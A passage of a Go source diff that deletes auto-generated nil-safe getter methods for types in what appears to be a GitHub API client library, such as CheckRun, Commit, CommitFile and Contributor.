value otherwise. -func (b *Blob) GetContent() string { - if b == nil || b.Content == nil { - return "" - } - return *b.Content -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (b *Blob) GetEncoding() string { - if b == nil || b.Encoding == nil { - return "" - } - return *b.Encoding -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (b *Blob) GetNodeID() string { - if b == nil || b.NodeID == nil { - return "" - } - return *b.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (b *Blob) GetSHA() string { - if b == nil || b.SHA == nil { - return "" - } - return *b.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (b *Blob) GetSize() int { - if b == nil || b.Size == nil { - return 0 - } - return *b.Size -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (b *Blob) GetURL() string { - if b == nil || b.URL == nil { - return "" - } - return *b.URL -} - -// GetCommit returns the Commit field. -func (b *Branch) GetCommit() *RepositoryCommit { - if b == nil { - return nil - } - return b.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *Branch) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *Branch) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetCommit returns the Commit field. -func (b *BranchCommit) GetCommit() *Commit { - if b == nil { - return nil - } - return b.Commit -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (b *BranchCommit) GetName() string { - if b == nil || b.Name == nil { - return "" - } - return *b.Name -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *BranchCommit) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetProtected returns the Protected field if it's non-nil, zero value otherwise. -func (b *BranchListOptions) GetProtected() bool { - if b == nil || b.Protected == nil { - return false - } - return *b.Protected -} - -// GetApp returns the App field. -func (c *CheckRun) GetApp() *App { - if c == nil { - return nil - } - return c.App -} - -// GetCheckSuite returns the CheckSuite field. -func (c *CheckRun) GetCheckSuite() *CheckSuite { - if c == nil { - return nil - } - return c.CheckSuite -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetCompletedAt() Timestamp { - if c == nil || c.CompletedAt == nil { - return Timestamp{} - } - return *c.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetDetailsURL() string { - if c == nil || c.DetailsURL == nil { - return "" - } - return *c.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetExternalID() string { - if c == nil || c.ExternalID == nil { - return "" - } - return *c.ExternalID -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetHeadSHA() string { - if c == nil || c.HeadSHA == nil { - return "" - } - return *c.HeadSHA -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetOutput returns the Output field. -func (c *CheckRun) GetOutput() *CheckRunOutput { - if c == nil { - return nil - } - return c.Output -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetStartedAt() Timestamp { - if c == nil || c.StartedAt == nil { - return Timestamp{} - } - return *c.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CheckRun) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAnnotationLevel returns the AnnotationLevel field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetAnnotationLevel() string { - if c == nil || c.AnnotationLevel == nil { - return "" - } - return *c.AnnotationLevel -} - -// GetEndColumn returns the EndColumn field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetEndColumn() int { - if c == nil || c.EndColumn == nil { - return 0 - } - return *c.EndColumn -} - -// GetEndLine returns the EndLine field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetEndLine() int { - if c == nil || c.EndLine == nil { - return 0 - } - return *c.EndLine -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetMessage() string { - if c == nil || c.Message == nil { - return "" - } - return *c.Message -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetPath() string { - if c == nil || c.Path == nil { - return "" - } - return *c.Path -} - -// GetRawDetails returns the RawDetails field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetRawDetails() string { - if c == nil || c.RawDetails == nil { - return "" - } - return *c.RawDetails -} - -// GetStartColumn returns the StartColumn field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetStartColumn() int { - if c == nil || c.StartColumn == nil { - return 0 - } - return *c.StartColumn -} - -// GetStartLine returns the StartLine field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetStartLine() int { - if c == nil || c.StartLine == nil { - return 0 - } - return *c.StartLine -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (c *CheckRunAnnotation) GetTitle() string { - if c == nil || c.Title == nil { - return "" - } - return *c.Title -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CheckRunEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetCheckRun returns the CheckRun field. -func (c *CheckRunEvent) GetCheckRun() *CheckRun { - if c == nil { - return nil - } - return c.CheckRun -} - -// GetInstallation returns the Installation field. -func (c *CheckRunEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetOrg returns the Org field. -func (c *CheckRunEvent) GetOrg() *Organization { - if c == nil { - return nil - } - return c.Org -} - -// GetRepo returns the Repo field. -func (c *CheckRunEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetRequestedAction returns the RequestedAction field. -func (c *CheckRunEvent) GetRequestedAction() *RequestedAction { - if c == nil { - return nil - } - return c.RequestedAction -} - -// GetSender returns the Sender field. -func (c *CheckRunEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetAlt returns the Alt field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetAlt() string { - if c == nil || c.Alt == nil { - return "" - } - return *c.Alt -} - -// GetCaption returns the Caption field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetCaption() string { - if c == nil || c.Caption == nil { - return "" - } - return *c.Caption -} - -// GetImageURL returns the ImageURL field if it's non-nil, zero value otherwise. -func (c *CheckRunImage) GetImageURL() string { - if c == nil || c.ImageURL == nil { - return "" - } - return *c.ImageURL -} - -// GetAnnotationsCount returns the AnnotationsCount field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetAnnotationsCount() int { - if c == nil || c.AnnotationsCount == nil { - return 0 - } - return *c.AnnotationsCount -} - -// GetAnnotationsURL returns the AnnotationsURL field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetAnnotationsURL() string { - if c == nil || c.AnnotationsURL == nil { - return "" - } - return *c.AnnotationsURL -} - -// GetSummary returns the Summary field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetSummary() string { - if c == nil || c.Summary == nil { - return "" - } - return *c.Summary -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetText() string { - if c == nil || c.Text == nil { - return "" - } - return *c.Text -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (c *CheckRunOutput) GetTitle() string { - if c == nil || c.Title == nil { - return "" - } - return *c.Title -} - -// GetAfterSHA returns the AfterSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetAfterSHA() string { - if c == nil || c.AfterSHA == nil { - return "" - } - return *c.AfterSHA -} - -// GetApp returns the App field. -func (c *CheckSuite) GetApp() *App { - if c == nil { - return nil - } - return c.App -} - -// GetBeforeSHA returns the BeforeSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetBeforeSHA() string { - if c == nil || c.BeforeSHA == nil { - return "" - } - return *c.BeforeSHA -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetConclusion() string { - if c == nil || c.Conclusion == nil { - return "" - } - return *c.Conclusion -} - -// GetHeadBranch returns the HeadBranch field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetHeadBranch() string { - if c == nil || c.HeadBranch == nil { - return "" - } - return *c.HeadBranch -} - -// GetHeadCommit returns the HeadCommit field. -func (c *CheckSuite) GetHeadCommit() *Commit { - if c == nil { - return nil - } - return c.HeadCommit -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetHeadSHA() string { - if c == nil || c.HeadSHA == nil { - return "" - } - return *c.HeadSHA -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetRepository returns the Repository field. -func (c *CheckSuite) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CheckSuite) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CheckSuiteEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetCheckSuite returns the CheckSuite field. -func (c *CheckSuiteEvent) GetCheckSuite() *CheckSuite { - if c == nil { - return nil - } - return c.CheckSuite -} - -// GetInstallation returns the Installation field. -func (c *CheckSuiteEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetOrg returns the Org field. -func (c *CheckSuiteEvent) GetOrg() *Organization { - if c == nil { - return nil - } - return c.Org -} - -// GetRepo returns the Repo field. -func (c *CheckSuiteEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CheckSuiteEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetPreferences returns the Preferences field. -func (c *CheckSuitePreferenceResults) GetPreferences() *PreferenceList { - if c == nil { - return nil - } - return c.Preferences -} - -// GetRepository returns the Repository field. -func (c *CheckSuitePreferenceResults) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetBody() string { - if c == nil || c.Body == nil { - return "" - } - return *c.Body -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetKey() string { - if c == nil || c.Key == nil { - return "" - } - return *c.Key -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CodeOfConduct) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetPath() string { - if c == nil || c.Path == nil { - return "" - } - return *c.Path -} - -// GetRepository returns the Repository field. -func (c *CodeResult) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CodeResult) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (c *CodeSearchResult) GetIncompleteResults() bool { - if c == nil || c.IncompleteResults == nil { - return false - } - return *c.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CodeSearchResult) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetCreatedAt() Timestamp { - if c == nil || c.CreatedAt == nil { - return Timestamp{} - } - return *c.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetInvitee returns the Invitee field. -func (c *CollaboratorInvitation) GetInvitee() *User { - if c == nil { - return nil - } - return c.Invitee -} - -// GetInviter returns the Inviter field. -func (c *CollaboratorInvitation) GetInviter() *User { - if c == nil { - return nil - } - return c.Inviter -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetPermissions() string { - if c == nil || c.Permissions == nil { - return "" - } - return *c.Permissions -} - -// GetRepo returns the Repo field. -func (c *CollaboratorInvitation) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CollaboratorInvitation) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetCommitURL returns the CommitURL field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetCommitURL() string { - if c == nil || c.CommitURL == nil { - return "" - } - return *c.CommitURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetRepositoryURL() string { - if c == nil || c.RepositoryURL == nil { - return "" - } - return *c.RepositoryURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetState() string { - if c == nil || c.State == nil { - return "" - } - return *c.State -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (c *CombinedStatus) GetTotalCount() int { - if c == nil || c.TotalCount == nil { - return 0 - } - return *c.TotalCount -} - -// GetTotalCommitComments returns the TotalCommitComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalCommitComments() int { - if c == nil || c.TotalCommitComments == nil { - return 0 - } - return *c.TotalCommitComments -} - -// GetTotalGistComments returns the TotalGistComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalGistComments() int { - if c == nil || c.TotalGistComments == nil { - return 0 - } - return *c.TotalGistComments -} - -// GetTotalIssueComments returns the TotalIssueComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalIssueComments() int { - if c == nil || c.TotalIssueComments == nil { - return 0 - } - return *c.TotalIssueComments -} - -// GetTotalPullRequestComments returns the TotalPullRequestComments field if it's non-nil, zero value otherwise. -func (c *CommentStats) GetTotalPullRequestComments() int { - if c == nil || c.TotalPullRequestComments == nil { - return 0 - } - return *c.TotalPullRequestComments -} - -// GetAuthor returns the Author field. -func (c *Commit) GetAuthor() *CommitAuthor { - if c == nil { - return nil - } - return c.Author -} - -// GetCommentCount returns the CommentCount field if it's non-nil, zero value otherwise. -func (c *Commit) GetCommentCount() int { - if c == nil || c.CommentCount == nil { - return 0 - } - return *c.CommentCount -} - -// GetCommitter returns the Committer field. -func (c *Commit) GetCommitter() *CommitAuthor { - if c == nil { - return nil - } - return c.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *Commit) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (c *Commit) GetMessage() string { - if c == nil || c.Message == nil { - return "" - } - return *c.Message -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (c *Commit) GetNodeID() string { - if c == nil || c.NodeID == nil { - return "" - } - return *c.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *Commit) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetStats returns the Stats field. -func (c *Commit) GetStats() *CommitStats { - if c == nil { - return nil - } - return c.Stats -} - -// GetTree returns the Tree field. -func (c *Commit) GetTree() *Tree { - if c == nil { - return nil - } - return c.Tree -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *Commit) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetVerification returns the Verification field. -func (c *Commit) GetVerification() *SignatureVerification { - if c == nil { - return nil - } - return c.Verification -} - -// GetDate returns the Date field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetDate() time.Time { - if c == nil || c.Date == nil { - return time.Time{} - } - return *c.Date -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetEmail() string { - if c == nil || c.Email == nil { - return "" - } - return *c.Email -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetLogin() string { - if c == nil || c.Login == nil { - return "" - } - return *c.Login -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (c *CommitAuthor) GetName() string { - if c == nil || c.Name == nil { - return "" - } - return *c.Name -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (c *CommitCommentEvent) GetAction() string { - if c == nil || c.Action == nil { - return "" - } - return *c.Action -} - -// GetComment returns the Comment field. -func (c *CommitCommentEvent) GetComment() *RepositoryComment { - if c == nil { - return nil - } - return c.Comment -} - -// GetInstallation returns the Installation field. -func (c *CommitCommentEvent) GetInstallation() *Installation { - if c == nil { - return nil - } - return c.Installation -} - -// GetRepo returns the Repo field. -func (c *CommitCommentEvent) GetRepo() *Repository { - if c == nil { - return nil - } - return c.Repo -} - -// GetSender returns the Sender field. -func (c *CommitCommentEvent) GetSender() *User { - if c == nil { - return nil - } - return c.Sender -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetAdditions() int { - if c == nil || c.Additions == nil { - return 0 - } - return *c.Additions -} - -// GetBlobURL returns the BlobURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetBlobURL() string { - if c == nil || c.BlobURL == nil { - return "" - } - return *c.BlobURL -} - -// GetChanges returns the Changes field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetChanges() int { - if c == nil || c.Changes == nil { - return 0 - } - return *c.Changes -} - -// GetContentsURL returns the ContentsURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetContentsURL() string { - if c == nil || c.ContentsURL == nil { - return "" - } - return *c.ContentsURL -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetDeletions() int { - if c == nil || c.Deletions == nil { - return 0 - } - return *c.Deletions -} - -// GetFilename returns the Filename field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetFilename() string { - if c == nil || c.Filename == nil { - return "" - } - return *c.Filename -} - -// GetPatch returns the Patch field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetPatch() string { - if c == nil || c.Patch == nil { - return "" - } - return *c.Patch -} - -// GetPreviousFilename returns the PreviousFilename field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetPreviousFilename() string { - if c == nil || c.PreviousFilename == nil { - return "" - } - return *c.PreviousFilename -} - -// GetRawURL returns the RawURL field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetRawURL() string { - if c == nil || c.RawURL == nil { - return "" - } - return *c.RawURL -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CommitFile) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetAuthor returns the Author field. -func (c *CommitResult) GetAuthor() *User { - if c == nil { - return nil - } - return c.Author -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetCommentsURL() string { - if c == nil || c.CommentsURL == nil { - return "" - } - return *c.CommentsURL -} - -// GetCommit returns the Commit field. -func (c *CommitResult) GetCommit() *Commit { - if c == nil { - return nil - } - return c.Commit -} - -// GetCommitter returns the Committer field. -func (c *CommitResult) GetCommitter() *User { - if c == nil { - return nil - } - return c.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetRepository returns the Repository field. -func (c *CommitResult) GetRepository() *Repository { - if c == nil { - return nil - } - return c.Repository -} - -// GetScore returns the Score field. -func (c *CommitResult) GetScore() *float64 { - if c == nil { - return nil - } - return c.Score -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetSHA() string { - if c == nil || c.SHA == nil { - return "" - } - return *c.SHA -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CommitResult) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetAheadBy returns the AheadBy field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetAheadBy() int { - if c == nil || c.AheadBy == nil { - return 0 - } - return *c.AheadBy -} - -// GetBaseCommit returns the BaseCommit field. -func (c *CommitsComparison) GetBaseCommit() *RepositoryCommit { - if c == nil { - return nil - } - return c.BaseCommit -} - -// GetBehindBy returns the BehindBy field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetBehindBy() int { - if c == nil || c.BehindBy == nil { - return 0 - } - return *c.BehindBy -} - -// GetDiffURL returns the DiffURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetDiffURL() string { - if c == nil || c.DiffURL == nil { - return "" - } - return *c.DiffURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetMergeBaseCommit returns the MergeBaseCommit field. -func (c *CommitsComparison) GetMergeBaseCommit() *RepositoryCommit { - if c == nil { - return nil - } - return c.MergeBaseCommit -} - -// GetPatchURL returns the PatchURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetPatchURL() string { - if c == nil || c.PatchURL == nil { - return "" - } - return *c.PatchURL -} - -// GetPermalinkURL returns the PermalinkURL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetPermalinkURL() string { - if c == nil || c.PermalinkURL == nil { - return "" - } - return *c.PermalinkURL -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetStatus() string { - if c == nil || c.Status == nil { - return "" - } - return *c.Status -} - -// GetTotalCommits returns the TotalCommits field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetTotalCommits() int { - if c == nil || c.TotalCommits == nil { - return 0 - } - return *c.TotalCommits -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (c *CommitsComparison) GetURL() string { - if c == nil || c.URL == nil { - return "" - } - return *c.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (c *CommitsSearchResult) GetIncompleteResults() bool { - if c == nil || c.IncompleteResults == nil { - return false - } - return *c.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CommitsSearchResult) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetAdditions() int { - if c == nil || c.Additions == nil { - return 0 - } - return *c.Additions -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetDeletions() int { - if c == nil || c.Deletions == nil { - return 0 - } - return *c.Deletions -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (c *CommitStats) GetTotal() int { - if c == nil || c.Total == nil { - return 0 - } - return *c.Total -} - -// GetCodeOfConduct returns the CodeOfConduct field. -func (c *CommunityHealthFiles) GetCodeOfConduct() *Metric { - if c == nil { - return nil - } - return c.CodeOfConduct -} - -// GetContributing returns the Contributing field. -func (c *CommunityHealthFiles) GetContributing() *Metric { - if c == nil { - return nil - } - return c.Contributing -} - -// GetIssueTemplate returns the IssueTemplate field. -func (c *CommunityHealthFiles) GetIssueTemplate() *Metric { - if c == nil { - return nil - } - return c.IssueTemplate -} - -// GetLicense returns the License field. -func (c *CommunityHealthFiles) GetLicense() *Metric { - if c == nil { - return nil - } - return c.License -} - -// GetPullRequestTemplate returns the PullRequestTemplate field. -func (c *CommunityHealthFiles) GetPullRequestTemplate() *Metric { - if c == nil { - return nil - } - return c.PullRequestTemplate -} - -// GetReadme returns the Readme field. -func (c *CommunityHealthFiles) GetReadme() *Metric { - if c == nil { - return nil - } - return c.Readme -} - -// GetFiles returns the Files field. -func (c *CommunityHealthMetrics) GetFiles() *CommunityHealthFiles { - if c == nil { - return nil - } - return c.Files -} - -// GetHealthPercentage returns the HealthPercentage field if it's non-nil, zero value otherwise. -func (c *CommunityHealthMetrics) GetHealthPercentage() int { - if c == nil || c.HealthPercentage == nil { - return 0 - } - return *c.HealthPercentage -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (c *CommunityHealthMetrics) GetUpdatedAt() time.Time { - if c == nil || c.UpdatedAt == nil { - return time.Time{} - } - return *c.UpdatedAt -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetAvatarURL() string { - if c == nil || c.AvatarURL == nil { - return "" - } - return *c.AvatarURL -} - -// GetContributions returns the Contributions field if it's non-nil, zero value otherwise. -func (c *Contributor) GetContributions() int { - if c == nil || c.Contributions == nil { - return 0 - } - return *c.Contributions -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetEventsURL() string { - if c == nil || c.EventsURL == nil { - return "" - } - return *c.EventsURL -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetFollowersURL() string { - if c == nil || c.FollowersURL == nil { - return "" - } - return *c.FollowersURL -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetFollowingURL() string { - if c == nil || c.FollowingURL == nil { - return "" - } - return *c.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetGistsURL() string { - if c == nil || c.GistsURL == nil { - return "" - } - return *c.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (c *Contributor) GetGravatarID() string { - if c == nil || c.GravatarID == nil { - return "" - } - return *c.GravatarID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetHTMLURL() string { - if c == nil || c.HTMLURL == nil { - return "" - } - return *c.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (c *Contributor) GetID() int64 { - if c == nil || c.ID == nil { - return 0 - } - return *c.ID -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (c *Contributor) GetLogin() string { - if c == nil || c.Login == nil { - return "" - } - return *c.Login -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetOrganizationsURL() string { - if c == nil || c.OrganizationsURL == nil { - return "" - } - return *c.OrganizationsURL -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetReceivedEventsURL() string { - if c == nil || c.ReceivedEventsURL == nil { - return "" - } - return *c.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (c *Contributor) GetReposURL() string { - if c == nil || c.ReposURL == nil { - return "" - } - return *c.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (c *Contributor) GetSiteAdmin() bool { - if c == nil || c.SiteAdmin == nil { - return false - } - return *c.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (c *Contributor) 